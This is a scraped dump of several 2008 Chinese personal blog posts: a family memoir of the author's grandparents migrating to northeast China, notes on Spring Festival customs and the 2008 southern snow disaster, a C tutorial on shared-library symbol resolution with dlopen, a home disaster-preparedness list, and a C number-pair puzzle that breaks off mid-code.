四处到邻居家借粮，给孩子们做完饭后，自己一口不吃，然后就上班。中午吃饭时，姥姥就吃别人的剩饭，当时厂子里也有很多好人，看到姥姥的情况主动拿出吃的给姥姥，在那种吃不饱的年代，姥姥的工作依旧没有落下，依旧拿着先进生产者。当时本地人其实也是没有多少供应粮的，但是当地人有土地，自己可以种一些粮食和蔬菜，吃饱应该没有问题。\n文革期间，姥姥和姥爷走着\u0026rsquo;低调和听话\u0026rsquo;路线，所以10年文革也就平安无事。但是文革给人们生活带来的影响姥姥和姥爷都是心知肚明的。学校停课、批斗老师、批斗当官的，整个社会处于一种\u0026rsquo;无政府\u0026rsquo;状态。姥姥说当时文革斗争分为\u0026rsquo;文斗\u0026rsquo;和\u0026rsquo;武斗\u0026rsquo;，\u0026lsquo;文斗\u0026rsquo;还好，也就是我们在电视里看到的那些带着大帽子，站在高处，低头认罪，被人数落的人；\u0026lsquo;武斗\u0026rsquo;是电视上少见的，当时每个地方都有多个政治派别，各派别之间当矛盾激化到一定程度后，就会发生持械群殴，在\u0026rsquo;武斗\u0026rsquo;中死了的、伤了的人估计政府都没有统计数字。我大舅曾经文革期间到过沈阳，他说当时有很多武斗中被害的人就曾被埋在当时的东北大学前面的南湖湖边，后期城市建设过程，坟墓被迁走了。其中在\u0026rsquo;武斗\u0026rsquo;中惨死的人年龄最小的还不到20岁。今天的我们真的不敢想象当年的人是那么的疯狂。\n1975年，姥姥再次经历了一次大灾难-海城大地震，初中或高中地理我们都学过，中国有史以来第一次预报成功的地震就是海城大地震，当时我大舅已经结婚，单独居住；我母亲下乡了，我二舅参军了，姥爷依旧工作在外；老舅回扬州老家了，只有姥姥带着我三舅在家。姥姥说：当时街道和厂子都通知了近期有地震，让各家各户都准备一些吃的喝的，晚上尽量不要回屋子住，有一些在外市有亲戚的本地人早就投靠亲戚去了。地震的预报和通知工作早在地震前10多天就开始发布，大家都知道了要地震，也都做了预防，但是地震却始终迟迟未到。2月份的北方正是冷的时候，又逢农历春节，神经紧绷了今天后，大家纷纷放松了警惕。2月14日这天一早，街道就发出预报说那天晚上很有可能发生地震，让各家各户都做好准备。姥姥让三舅去买些吃的，然后就去厂子开会了，那时候是非常时期每天都要开会。大家的神经一直紧绷到晚上，地震一直没有发生，家里就姥姥和三舅，那时候也没有电视好看，姥姥放好被子，正准备睡觉，这时地震发生了，时间定格在：1975年2月14日19时36分，西方的情人节。三舅拽着我姥姥就往外面跑，按照姥姥的回忆，当时外面一片漆黑，黑的可怕，耳中是巨大的轰鸣声，脚底下左晃右晃的，远处冒出明亮的地光，震了一段时间后，外面全是烟土，哭声喊声不绝于耳，房子都倒了。第二天救援的军队到了，物资到了，直升机在头顶轰鸣，姥姥是军属又是劳模，上面给姥姥发了棉被棉衣和一些食品。事后，厂子里开了表彰大会，表彰我姥姥在灾难面前没有退缩，没有逃到其他地方，坚持每天到工厂开会，组织灾害防范工作。姥姥告诉我：她当时不是不想走，是没有地方可以走，北方一个亲戚都没有。\n海城是一个地震高发区，记得2000年初，也是在春节前，当时我在进行紧张的高考复习，海城就连续发生了多次5级以上地震，地震都发生在白天，我们还在课堂上上课，地震就发生了，包括老师在内，大家都往外跑，顶棚上的电灯刷刷的往下掉，很是恐怖。大家都站在操场上不敢回教室，校领导请示了市地震局和市政府，决定放假。事后，才知道震中不在市内，而是在周边的一个小村子，那个村子几乎被摧毁。这才是5级地震，75年的那次可是7.3级，够恐怖。\n1976年，也注定是一个中国人值得记住的年份，四人帮被粉碎、总理、主席先后与世长辞。当时的人们对总理和主席那是相当的崇拜。姥姥回忆说：当时广播中听到主席去世的消息，就不由自主的哭起来，就觉得主心骨没了，天塌了似的。主席去世那天，你站在大街上，你就能听到满城都是哭声，用现在的话，那是相当的壮观，是否空前不得而知，但是绝后是肯定的了。\n进入20世纪80年代，我出生了，按照现在的时髦词汇：我也属于'80后\u0026rsquo;。辛苦和忙碌了大半辈子的姥姥和姥爷也都退休了，此时子女都已经成家了，一大家子算是在东北站稳了脚跟儿。退休后的老两口儿担负起给子女照顾孩子的重任。我和我二姐(二舅的女儿)是同龄人，从有记忆起我和二姐就一直待在姥姥家。姥姥说那个时候家里为数不多的细粮都给我们两个吃了，大人们依旧吃着粗粮。当时姥姥家有一个小奶锅，煮一小锅大米稀粥，姥姥在中央，我和二姐在两边，姥姥一人一口的喂我们吃饭，当时我还不到两岁。记忆中，退休后的姥爷就是一直在市委大院做看门老大爷，来人登记，晚上每隔一天一个夜班。活不累，很轻巧，也省心。姥爷是一个心宽的人，家里的事都是姥姥一个人操劳，所以在家里姥姥就好比红楼梦里的\u0026rsquo;老祖宗\u0026rsquo;说一不二，姥姥也是我们一大家子的主心骨。等我和二姐长大一些了，姥姥上街也带着我们。让姥姥记忆深刻的是带我们上街买菜。每次上街买菜，姥姥都拎着一个小筐。左手拉着我，右手拉着我二姐，边走还边嘱咐：上街不准乱跑，跑丢了就让坏人捡走卖了，就再也看不到姥姥了。我很听话，小手紧紧攥住姥姥的手。北方的冬天甚是寒冷，但姥姥说我的小手可热乎了。\n姥姥得过两次重病，都是脑血栓，两次都差点要了命，可姥姥都活过来了。大难不死必有后福，姥姥目前很是健康，大脑很清晰，记性也很好。但脑血栓后遗症也让姥姥的一只腿不像正常的那么有力；而且由于年轻时作重劳力，有一些\u0026rsquo;吸肺\u0026rsquo;，气管不是很好，总是咳嗽外；另外年龄原因，姥姥有些驼背。\n上学之前，我和二姐一直都是姥姥和姥爷带大的，所以我和二姐对二位老人的感情特深。后来二姐到了上学的年龄，我还不够岁数，但是由于习惯了天天和二姐一起玩，所以我也要上学。就这样，和小学校长反复交涉之后，我终于被同意进入学校试学，试学的含义就是：如果发现跟不上，就必须退学，到年龄再来。结果我的表现很好，也就提前一年上了学。当时正好学校成立了一个小班，那个班上大部分人的年龄都比那届学生小一岁。上学后，每天中午都到姥姥家吃午饭，每天放学后，都先到姥姥家告诉姥姥我放学回家了，姥姥也总要关心的说一句：\u0026ldquo;路上车多，左右看看再过马路\u0026rdquo;，就这样一直到小学毕业。\n1994年，姥姥和姥爷搬入宽敞明亮的新楼房，并开始了幸福的晚年生活。老两口幸福的日子一直持续到2006年12月份，姥爷因患癌症离开了我们。姥姥说：以前虽然生活苦了点，但是感觉很幸福；姥爷的去世是她遇到的第一件感觉悲伤的事情。我很能理解姥姥的心情，掐指算来，姥姥和姥爷在一起生活都近70年了，从姥姥第一天进入姥爷家做童养媳一直到现在，突然再也看不到姥爷了，心里的那种滋味儿可想而知。按照现在的说法：姥姥和姥爷都可以过白金婚了。\n姥爷去世后，姥姥有些孤单，虽然有我舅妈常年照应。子女都有自己的家，我这辈儿的孙子孙女又有事业和家庭，想到这里总是心怀愧疚，这次春节回家，从大年三十一直到正月初七我都尽量陪伴在老人身旁，给姥姥一些安慰。\n从\u0026rsquo;身无分文\u0026rsquo;到缔造出我们这个大家庭，两位老人付出了太多太多，在这里我只能祝愿姥姥身体一直保持健康，能看着这个大家庭枝繁叶茂的一直繁衍下去；如果姥爷在天之灵也能看到这些的话，他也会欣慰的。\n","permalink":"https://tonybai.com/2008/02/15/grandparents-making-a-living-to-northeast/","summary":"\u003cp\u003e2008年开年大戏，包括央视在内的各大电视台都在热播的由李幼斌主演的电视剧\u0026rsquo;\u003ca href=\"http://www.douban.com/subject/2373267/\"\u003e闯关东\u003c/a\u003e\u0026lsquo;将我们带回了那个贫苦的年代，辽宁卫视和山东卫视更是连播了两遍。\u0026lsquo;闯关东\u0026rsquo;是一部血泪史，更是一部奋斗史。随着时间推移，其实各个年代都会有\u0026rsquo;闯关东\u0026rsquo;中人物的影子，我这里要说的是我的姥姥和姥爷，说说他们从江浙之地迁移到东北的真实故事，故事由我记忆中的点点滴滴整理而成，这些内容都是小时候姥姥姥爷给我讲的。\u003c/p\u003e\n\u003cp\u003e从小到大，我最喜欢听姥姥给我们讲她和\u003ca href=\"http://tonybai.com/2006/12/07/my-grandfather/\"\u003e姥爷\u003c/a\u003e的旧事，因为很是好奇。姥姥今年80多了，如果姥爷没\u003ca href=\"http://tonybai.com/2006/12/19/my-grandfather-pass-away/\"\u003e去世\u003c/a\u003e的话，今年也将近80了。处于这个年龄段的老人一般都阅历丰富。先后经历从民国、八年抗战、国共内战、新中国成立、文革、改革开放等二十世纪中国历史上的各个关键时期。当然了由于姥姥和姥爷文化有限，虽身处那个年代，但是却对国事了解不多，给我们讲的大多是新中国成立后的事情了。\u003c/p\u003e\n\u003cp\u003e姥姥姥爷都祖籍江苏扬州，姥姥家家境贫苦，从小就作为姥爷家的童养媳在姥爷家做工，我估计那时姥姥也就10几岁。姥爷在家里排行老大，这样姥姥作为大儿媳妇还要照顾小弟。其实姥爷按照出生顺序并不是老大，只是因为姥爷前面的哥哥姐姐都夭折了，也是姥爷命好，到他这活了下来，他之后的弟弟们也都活了下来，姥爷的母亲一生共生养了10多个娃，存活下来的只有几个(姥爷和我说过，我记不清是几个了，至少有三个)。我在姥姥家的相册中曾经见到过姥爷的母亲的照片，那是一张黑白照片，中间一个瘦瘦的头发花白的老太太，脸上没有多少肉，都是带褶的皮了，看年纪有80多了。这位老太太活到90多岁才去世。姥姥说她的婆婆是一个很传统、很严厉，但是却特爱干净的老太太，小时候姥姥没少挨训斥，同时受熏陶，养成了爱干净的好习惯，至今姥姥的贴身衣服都要自己动手洗、每天都坚持自己收拾房间。姥爷家的家境还不错，姥爷小的时候上过私塾，写的一手好毛笔字，而且算盘打的很好，后来姥爷在银行工作也是得益于他的算盘基础。\u003c/p\u003e","title":"姥姥姥爷'闯关东'"},{"content":"今年是我’有史以来’回家最晚的一年，直到阴历二十九才坐上回家的列车。今年在回家之前我还有一个特殊的’活儿’要完成，那就是给自己尚未入住的新房子贴上传统的对联和福字儿。\n以前在家贴对联和福字都是父母的活儿，从小到大自己在家里都是啥活儿也不做的，都是被父母惯的^_^。这回轮到自己贴对联福字了，我还觉得有些新奇，早早的就在超市里买了漂亮的对联和福字，还特地上网查了查对联和福字该如何贴。\n对联的贴法我是有耳闻的，正确的对联贴法应该是：当人面向对联时，上联在右侧，下联在左侧。对联要注意声律相对，判断上下联是按照最后一个字的平仄声来区分的，上联是仄声，下联为平声，这样贴的目的主要是为了音韵和谐，悦耳动听。但是看起来还是有些复杂。很多人还是不能识别出上下联。这里有一个技巧：现在每家每户的对联基本都没有自己去写的了，都是从市场上买回来的，买回来的对联上除了文字，往往还会有一些图案，比如鱼、胖娃娃等。而这些图案都是’对称的’，只要按照图案的’对称’去贴，基本都是没有问题的。\n还有一些对联是没有图案的，人们也不习惯从右往左贴对联，那我们就从相反的角度来’改革’一下上面的对联贴法，不分什么上下联，只分左右联。改后的贴法：当人面向对门时，左边贴的对联最后一个字是平声，也就是一、二声；右边贴的对联最后一个字是仄声，也就是三、四声。这样就好记多了。\n福字的贴法无疑只有两种：正着贴和倒着贴。到底该如何贴？的确让我很挠头。为了求甚解，我还是查查民俗专家是如何说的。按照民俗专家的说法：福字倒着贴是民间普通百姓的’口彩’，并被以讹传讹了。有专家考察过许多地方，不论是民宅小院，还是大宅门，或是晋商、徽商的豪宅，或是达官府第，所有镶在墙上的木雕、砖雕、石雕的’福’字都是正的。关于’福’字倒着贴的源头有诸多说法，但相同点都是’福’倒贴是不吉利的事情。\n这回我可知道了：’福’字一定要正着贴。有些事情多刨根问底的去了解一下，即增长了见识，又避免了为’以讹传讹’助势，对的就是对的，错的就是错的。\n","permalink":"https://tonybai.com/2008/02/14/word-fu-should-not-paste-upside-down/","summary":"\u003cp\u003e今年是我’有史以来’回家最晚的一年，直到阴历二十九才坐上回家的列车。今年在回家之前我还有一个特殊的’活儿’要完成，那就是给自己尚未入住的新房子贴上传统的对联和福字儿。\u003c/p\u003e","title":"'福'字不该倒着贴"},{"content":"坐着满是硬卧车厢的N135次列车回到了沈阳，我的2008春节到此就基本结束了，下周一开始就要正式上班了，新一年的忙碌也即将开始了。对于我而言，2008这个鼠年的春节稀松平常，与往年并无大异，依旧是大年三十儿的年夜饭、依旧是初一到初六的探亲访友、依旧是在传统习俗中间兜圈子，随着年龄的增大，自已身上背负了更多的东西，感觉有些身心疲惫，自己希望的简单生活在中国这种传统礼俗多多的国度仿佛很难实现。但对于在南方灾区生活的人们、对于那些在南方工作，没能及时回家团圆的劳动者及学生、对于在灾区参加抢险救灾的子弟兵和工作人员、对于在救灾中牺牲烈士的家属来说这注定是个难忘的春节。\n‘滞留’，也许是春节期间我们在广播、电视、报纸上看到最多的一个词了。成千上万、甚至几十万的旅客滞留在火车站和机场，上万的机动车因道路结冰而滞留在高速路上。看了网上的广州站前广场的图片后，相信所有人都会触目惊心，广场上黑鸦鸦的全是焦急等待上车的返乡旅客，看完后我的第一感觉就是’太危险’了，一旦哪名旅客不慎摔倒，那后果是相当严重的；另外这么多人挤在一起怎么’方便’啊，在那种情况下，挪动一小步都是很困难的，工作人员和旅客双方都很痛苦，也都很无奈。南方的铁路电气化程度很高，一停电，整个铁路就瘫痪了。N135次车乘务人员告诉我们：沈阳铁路局的硬座车厢年前都被调到南方去抢运滞留旅客了，这就是为什么整列车全是卧铺车厢的原因了。\n‘停电’，今年春节的另一个重量级词语，也是大量旅客滞留的一个最主要原因。在灾害最严重的那些日子里，就连湖南移动的机房都只能保持单路电源供电了，移动公司要求所有厂家的工作人员在机房附近宾馆住宿，不能回家，要保持二十四小时值守，万一出问题，随叫随到。虽然我是远程支持，但是那段时间也给我带来不小的压力。现代化的文明对电的依赖程度大家可想而知，没有了电，人们看不上电视、打不了电话(移动基站没电了)、无法使用空调取暖、没有灯光照明、不能用电炊具烹饪；信号灯熄灭，无法指挥交通；电信机房停电，无法通信；供水厂停电无法供水；银行停电，无法交易；超市停电，无法结算；等等…，停电让我们现代社会的人再次回归原始，火车停了，有些人选择步行几十甚至上百里路回家；电灯灭了，家家点起了蜡烛；自来水没了，有些人拿起水桶到有井的地方提取地下水以维持生活；夜幕来临，原来的不夜城也漆黑一片，如此等等，这样的春节怎能不难忘！\n关于’雪’，自古就有’瑞雪兆丰年’之语，雪本来是晶莹剔透、倍受人们欢迎的吉祥事物，但是如果其在错误的时间降到错误的地点的话，那就会给人们带来极大的痛苦，这次南方雪灾就是一例。听祖籍江苏扬州的姥姥说，南方基本是看不到雪的，即使下了雪，雪也很小，落到地上也就化成了水，由于南方温度高，水是不会结冰的。但这次的这场大雪和冰冻确是例外且实属罕见的(北方也少有如此持续时间长、范围广的暴雪)，姥姥看着电视上关于灾情的新闻，也惊讶万分，替在南方的亲戚们担忧。南方的冻雪与北方真的不一样，看到电视上播出的电线结冰的画面，我心中也是一惊，我原先还坚持的认为：高压输电铁塔倒塌是其质量问题，现在这种想法不攻自破。那哪里是铁塔啊，简直就是一座座’冰塔’。估计其总负荷早已超出铁塔设计负载的若干倍了。向那些依旧在塔上除冰的电力职工们致敬，这哪里是在工作，简直就是在’赌命’，谁能知道哪座铁塔在什么时候轰然倒地呢？对于他们来说，在随时可能倒塌的电线塔上度过的春节，又怎能不难忘呢！\n这本是万家欢乐的节日，但一场场大雪和冻雨彻底浇灭了人们的热情，失落和失望伴随着很多人度过这个春节，也许到目前为止南方某些灾害最严重的地区还没有恢复供电。以往每当春节这个时刻，全国各地洋溢的都是喜庆的气氛，央视新闻报道的也是各地如何庆春节的活动。而今年的这个春节，’雪灾’却占据了人们的视听，这样的春节怎能让人们不难忘呢！\n‘大雪无情人有情’，’一方有难八方支援’，雪灾反倒让中国人民凝成一股绳的那种精神彰显出来。任何事物都有其两面性，大雪灾在给人们带来痛苦的同时，也洗刷和净化了人们的那颗被物欲和金钱包裹下的心灵。\n","permalink":"https://tonybai.com/2008/02/14/it-is-a-memorable-spring-festival/","summary":"\u003cp\u003e坐着满是硬卧车厢的N135次列车回到了沈阳，我的2008春节到此就基本结束了，下周一开始就要正式上班了，新一年的忙碌也即将开始了。对于我而言，2008这个鼠年的春节稀松平常，与往年并无大异，依旧是大年三十儿的年夜饭、依旧是初一到初六的探亲访友、依旧是在传统习俗中间兜圈子，随着年龄的增大，自已身上背负了更多的东西，感觉有些身心疲惫，自己希望的简单生活在中国这种传统礼俗多多的国度仿佛很难实现。但对于在南方灾区生活的人们、对于那些在南方工作，没能及时回家团圆的劳动者及学生、对于在灾区参加抢险救灾的子弟兵和工作人员、对于在救灾中牺牲烈士的家属来说这注定是个难忘的春节。\u003c/p\u003e","title":"这注定是个难忘的春节"},{"content":"清晨，部门新来的一位小兄弟打来求助电话，说是系统启动的时候出现类似：\u0026ldquo;ld.so.1: testmain: 致命的: 重定位错误: 文件./libtestshared.so: 符号static_add: 参照的符号没有找到\u0026quot;的错误。这个系统是05年开发的一个复用度很高的自研产品，后续项目只需在其基础上做少量二次开发工作即可满足新功能的要求。为了做到一定的通用性，我们使用了类似插件的框架，这样系统在启动的时候会根据配置加载一些\u0026rsquo;共享库\u0026rsquo;(.so文件)，而这个小同事反映的问题就出在这。\n上面仅仅是一个引子，在写下本篇文章之前，这个问题已经被解决，我的那个小同事在连续奋战14个小时(从昨晚21:00到今天上午11:00)后，终于也可以安心踏上返回四川老家的火车了。事后，我深入的想了一下这个问题，觉得有必要说一下。\n这里用一个简单的例子来重现一下这个问题吧。我们先来准备一个静态链接库(.a)和一个动态共享库(.so)，都比较简单，能反映出问题就行。\n[静态库]\n//teststatic.h\nint static_add(int a, int b);\n//teststatic.c\n#include \u0026ldquo;teststatic.h\u0026rdquo;\nint static_add(int a, int b) {\nreturn a+b;\n}\n编译静态库：\ngcc -c teststatic.c\nar crv libteststatic.a teststatic.o\n[动态共享库]\n//testshared.h\nint dynamic_add(int a, int b);\n//testshared.c\n#include \u0026ldquo;testshared.h\u0026rdquo;\n#include \u0026ldquo;teststatic.h\u0026rdquo;\nint dynamic_add(int a, int b) {\nreturn static_add(a, b);\n}\n编译共享库：\ngcc testshared.c -fPIC -shared -o libtestshared.so\n然后，我们再写一个测试桩程序，其主要功能就是：通过dlopen和dlsym在运行时动态加载libtestshared.so，然后得到符号dynamic_add的地址，完成计算功能。\n#include\n#include\ntypedef int (*PTR)(int, int);\nint main() {\nvoid *handle = NULL;\nchar *errinfo = NULL;\nPTR ptr;\nint rv;\nhandle = dlopen(\u0026rdquo;./libtestshared.so\u0026quot;, RTLD_LAZY);\nif (handle == NULL) {\nerrinfo = dlerror();\nprintf(\u0026ldquo;dlopen失败: %s\\n\u0026rdquo;, errinfo);\nreturn;\n}\nptr = (PTR)dlsym(handle, \u0026ldquo;dynamic_add\u0026rdquo;);\nif (ptr == NULL) {\nerrinfo = dlerror();\nprintf(\u0026ldquo;dlsym失败: %s\\n\u0026rdquo;, errinfo);\nreturn;\n}\nrv = ptr(1,2);\nprintf(\u0026ldquo;rv = %d\\n\u0026rdquo;, rv);\n}\n编译：gcc -o testmain testmain.c -ldl -L./ -lteststatic\n运行结果：ld.so.1: testmain: 致命的: 重定位错误: 文件./libtestshared.so: 符号static_add: 参照的符号没有找到，被杀掉。\n通过运行结果分析：程序在启动时，链接程序并没有找到符号:static_add，无从知道其指令代码，所以报错。这个例子反映的就是我那个小同事犯的\u0026rsquo;错误\u0026rsquo;– 程序在加载阶段链接器无法resolve共享库里调用的其他函数符号。那为什么找不到呢？我们还需简单回顾一下程序启动阶段的一些事情。\n程序启动后，由加载器(即常说的loader)将之加载到内存中，过程很复杂和繁琐，我们就说程序中的符号是如何resolved的(我是从John R.Levine的\u0026quot;Linkers \u0026amp; Loaders\u0026ldquo;一书中学到的一些皮毛)。加载阶段，加载器(很多工作由链接器完成)先进行自身的初始化，之后它会根据程序文件的头(Headers)中的信息，查找程序所需要的共享库(静态库是在编译期间就已经链接到程序本身中了)的名字，对于每一个共享库的名字，它都会在搜索路径下搜索该共享库是否存在，如果存在，则处理该共享库文件，处理包括：分配text和data段空间并进行映射，其符号表将被merge到主符号表里；如果该共享库文件依然有依赖的其他共享库，且该依赖的共享库在之前并未被load，则将该依赖的共享库加入到待加载的库列表中。\n有人要说，上面的testmain程序与这个加载过程不同啊，testmain是用dlopen和dlsym在运行时而不是加载时加载.so的，其实按照John R.Levine的说法: \u0026ldquo;The two routines dlopen \u0026amp; dlsym are actually simple wrappers that call back into the dynamic linker\u0026rdquo;，也就是说：使用dlopen和dlsym的组合时，完成的事情和加载阶段链接器完成的事情是一样的。\n那我们来看，testmain编译的时候是不依赖任何显式(C运行时和unix系统库等隐式的除外)的共享库的，那么在加载libtestshare.so时，遇到static_add这个符号时，就不知所措了。这里又有人要问了：编译testmain的时候不是链接了libteststatic.a这个库了吗，这个库里不是有static_add的符号吗？你可以nm testmain \u0026gt; dump.log看一下，看看dump.log中是否有static_add这个符号。其实细想一下也会知道：testmain.c中根本没有使用static_add，编译器当然不会无端将static_add的放入testmain的可执行文件中了，否则在unix系统下的每个用户级程序的\u0026rsquo;体格\u0026rsquo;都会极其庞大。\n上面说过，因为testmain.c中没有使用static_add，所以不能动态加载so时，不能resolve这个符号，如果testmain.c中使用了static_add，那么程序就没有问题了吧？没错！看下面：\n#include \u0026ldquo;teststatic.h\u0026rdquo;\n… …\nint main() {\nvoid *handle = NULL;\nchar *errinfo = NULL;\nPTR ptr;\nint rv;\nrv = static_add(5, 6);\nprintf(\u0026ldquo;rv = %d\\n\u0026rdquo;, rv);\n… …\nrv = ptr(1,2);\nprintf(\u0026ldquo;rv = %d\\n\u0026rdquo;, rv);\n}\n这样一来，static_add就会体现在testmain的符号表里，作为testmain的一部分了。当运行时加载.so后，遇到static_add这个符号时，链接器就有据可依了。\n又会有人问：我们不能要求所有.so中出现的符号在主程序中都要有吧？对，这样要求显然是无理的，那么如何是好呢？我们只能在编译.so时将这些符号静态链入.so，比如：gcc testshared.c -fPIC -shared -o libtestshared.so -L./ -lteststatic\n我们可以通过nm命令看到链入静态库前后的不同：\n未链入静态库时nm *.so，符号static_add处于UNDEF状态\n[67] | 0| 0|NOTY |GLOB |0 |UNDEF |static_add\n链入静态库后，nm *.so的结果：\n[68] | 1412| 36|FUNC |GLOB |0 |10 |static_add\nstatic_add的代码被copy一份放到了.so中。\n这里关于dlopen函数的第二个参数mode再多写两句。上面的例子中，我们传入的参数是RTLD_LAZY，什么意思呢？RTLD_LAZY是说：.so中的符号只有在其第一次使用的时候，才会由链接器计算出其实际地址，否则在.so加载时是不计算其实际地址的。原因也很简单：一个.so文件中可能有成百上千的符号，我们的程序也许只用到其中的一两个，如果加载时所有符号都要将其实际地址映射好，显然会降低运行时动态加载的性能。还是以testmain.c为例，如果代码中去掉对ptr(1,2)的调用，那么执行testmain是不会出错的。\ndlopen中还提供了些许选项，比如：RTLD_NOW，从字面含义也可以猜测出来，其含义与RTLD_LAZY正相反，即.so加载时，其内部所有符号都要计算出实际地址。还以testmain.c为例：\nhandle = dlopen(\u0026rdquo;./libtestshared.so\u0026quot;, RTLD_NOW);\n这时即使去掉对ptr(1,2)的调用，执行时会提示：dlopen失败: ld.so.1: testmain: 致命的: 重定位错误: 文件./libtestshared.so: 符号static_add: 参照的符号没有找到。\n看来，共享库中的符号链接没有想象中的那么容易，使用的时候要\u0026rsquo;小心\u0026rsquo;。也许正是这些需要你投入和认真思考的问题才让使用C语言进行底层或系统开发更具魅力。\n","permalink":"https://tonybai.com/2008/02/03/symbol-linkage-in-shared-library/","summary":"\u003cp\u003e清晨，部门新来的一位小兄弟打来求助电话，说是系统启动的时候出现类似：\u0026ldquo;ld.so.1: testmain: 致命的: 重定位错误: 文件./libtestshared.so: 符号static_add: 参照的符号没有找到\u0026quot;的错误。这个系统是05年开发的一个复用度很高的自研产品，后续项目只需在其基础上做少量二次开发工作即可满足新功能的要求。为了做到一定的通用性，我们使用了类似插件的框架，这样系统在启动的时候会根据配置加载一些\u0026rsquo;共享库\u0026rsquo;(.so文件)，而这个小同事反映的问题就出在这。\u003c/p\u003e","title":"共享库中的符号链接"},{"content":"几十年不遇的暴雪冻雨席卷了南方十几个省份，现在你打开电视机、收音机、翻开报纸、浏览互联网，可能看到的最多的就是关于南方灾情的报道。罪也受了、钱也损失了、人也死了，在灾难面前，我们普通人显得那么弱小和无力。我们能做什么呢？自救。\n今天听说美国若干个州也受灾了，气象专家说：中国和美国受灾都是\u0026rsquo;拉尼娜\u0026rsquo;现象引起的全球大气环流异常导致的。至于产生\u0026rsquo;拉尼娜\u0026rsquo;的原因，我猜多半是人类\u0026rsquo;自食恶果\u0026rsquo;。老天在惩罚人类的时候，并不急于一次性摧毁，而是慢慢的\u0026rsquo;折磨\u0026rsquo;，真是\u0026rsquo;残忍\u0026rsquo;啊^_^。\n人类社会在天灾面前的脆弱在这次雪灾面前体现的淋漓尽致，没有煤了，没有电了，人们仿佛又回到了\u0026quot;原始社会\u0026quot;，但是与原始社会的人不同的是：我们身处钢筋水泥的世界，没有食物，没有河流，如何生存？\n也许上述的描写有些夸张，的确在党中央和政府的努力下，每个人都不会受冻受饿。但是我想的更加长远，按照目前的情况，我觉得天灾只会\u0026rsquo;愈演愈烈\u0026rsquo;，而且频度加剧，也许某一天其剧烈程度可能让政府都无法自保的情况了，比如美国大片\u0026quot;后天\u0026quot;中的情形，那时候我们不能等、靠、要了，我们需要自救！\n自救不是说当灾难发生了再行动，那时候自救的成功率显然就会很低了，自救是需要计划和准备的。假设现在发生天灾，停电停水，没有人来救援，考量一下你能坚持几天，或者说你利用你周围的资源可以支撑几天呢？\n以前看过新闻，说美国或者日本某些人花巨资打造地下避难所，据说避难所可以抵御核武器攻击，并且储存了大量的食物和淡水。当时很是不解，在这么和平幸福的时代，我们为什么要这么做呢？随着近两年灾害次数的增加，特别是在自己也亲身体验了一回\u0026rsquo;雪灾\u0026lsquo;后，我也觉得应该做一些\u0026rsquo;灾害预防\u0026rsquo;工作了。\n对于普通老百姓，我们没有能力建立避难所，那我们能做些什么预防工作呢？- 底线原则：储存能维持基本生命活动的资源。早上醒来后，躺在床上我就在想这个问题，哪些属于能让人维持活着的资源呢？\n1、水\n没有什么，也不能没有水啊。不吃东西可以坚持7天甚至1个月也可以，但是没有水，两三天就完蛋了。储存一箱纯净水我想是个底线吧。\n2、粮食\n粮食有多种：\n主食你可以储存大米白面，这些食物需要简单烹制；\n感觉存储一些罐头是很必要的。至于存储多少，根据个人食量而定；\n另外中国人独创的腊肉可以保存多年不腐，可以多存些，毕竟肉类所释放的能量还是蛮大的。\n3、光源\n多准备蜡烛，有条件可以弄一盏煤油灯。毕竟人在光明中，是会产生力量和希望的。\n4、火种\n手里起码要有一个质量好的打火机(实在没有，多准备几盒火柴)，否则即使有食物也无法食用、有蜡烛也无法使用。\n5、药品\n灾难面前不可避免会有伤员，即使不是自己，药品也可以用来救助别人的。阿莫西林、芬必得、创可贴、速效救心丸、药用纱布、绷带、胶布等所有你能想到的特效药都存储点吧。\n6、工具\n结实且足够长的绳子、结实且够大的背包和一把万能瑞士军刀等，如果你的家里还没有这些，那有机会就买吧，会有用的。\n7、钱\n这里指的是现金，而不是银行卡或存折中那虚无缥缈的数字(灾难时，试想哪个银行不是门前爆满，能取出钱那是幸运)，在灾难面前，钱是最不堪一击的。但是往往在灾难初期，手上足够的现金还是可以帮上忙的。比如上述1-6的资源储存不够，那你完全可以抓紧时间用现金购买。所以平时手里还是放上万把千的，关键时候也许真管用啊。\n8、其他…\n以上是躺在床上和坐在班车到公司路上的胡思乱想，如果你觉得有道理，可以参考。\n","permalink":"https://tonybai.com/2008/02/01/what-should-we-do-before-disaster-come/","summary":"\u003cp\u003e几十年不遇的暴雪冻雨席卷了南方十几个省份，现在你打开电视机、收音机、翻开报纸、浏览互联网，可能看到的最多的就是关于南方灾情的报道。罪也受了、钱也损失了、人也死了，在灾难面前，我们普通人显得那么弱小和无力。我们能做什么呢？自救。\u003c/p\u003e","title":"'灾难'到来之前，我们该做点啥"},{"content":"‘自然数对’是这样的一对自然数，他们的和与差的结果都是平方数，比如：自然数对32和68，根据定义32+68 = 100 = 10^2，68-32 = 36 = 6^2。现在的题目是：根据输入的两个100以内的自然数，打印出这两个整数之间的所有自然数对。\n这道题不难，而且限制了范围，在两个100以内的自然数区间，很多人马上就能给出程序。这道题的有两个点需要思考：一个是关于平方数的判断；另一个就是两个数的组合控制。\n关于平方数的判断，多数人采用的方法就是利用现成的sqrt函数来做判断。当然也有人和我想的一样，采用表查询的方法。因为题目明确限制了范围是两个100以内的数，试想一下100以内最大的两个数的和99+98=197，也就是说100以内自然数对的和如果是平方数的话，肯定是下面集合中的一个，这个集合为{1,4,9,16,25,36,49,64,81,100,121,144,169,196}。那么既然我们已经肯定了如此，我们还何必去做sqrt操作呢，直接在这个集合中查找不就行了，这也是一种最简单的查表法，至于表的存储结构和查询算法可自定义(影响性能)。\n关于数的组合控制，很多人都会使用两层循环，这没错。除了循环，递归也是一个不错的方法。简单的看了下，这个例子还是比较符合递归的两个条件的：\n1、有basis case；\n2、规模逐渐缩小；\n基于上述两点，这里给出一个简单的实现：\nint square_number_tbl[] = {1,4,9,16,25,36,49,64,81,100,121,144,169,196};\nint is_natural_number_pair(int a) {\nint i;\n//简单的顺序查找\nfor (i = 0; i \u0026lt; sizeof(square_number_tbl)/sizeof(square_number_tbl[0]); i++) {\nif (square_number_tbl[i] == a) return 1;\n}\nreturn 0;\n}\n//find natural number pair\nvoid find_nnp(int a, int b) {\nint i;\nif (b – a \u0026lt;=0) { //basis case\nreturn;\n}\ni = a;\ndo {\nif (is_natural_number_pair(b+i) \u0026amp;\u0026amp; is_natural_number_pair(b-i)) {\nprintf(\u0026quot;%d, %d\\n\u0026quot;, b, i);\n}\ni++;\n}while (i \u0026lt;= b);\nreturn find_nnp(a, b-1);//recursive invoke\n}\nint main() {\nint a, b; //we suppose that b is greater than a, and both are less than 100\nprintf(\u0026ldquo;Please Input two integrals (1，100):\u0026rdquo;);\nscanf(\u0026quot;%d 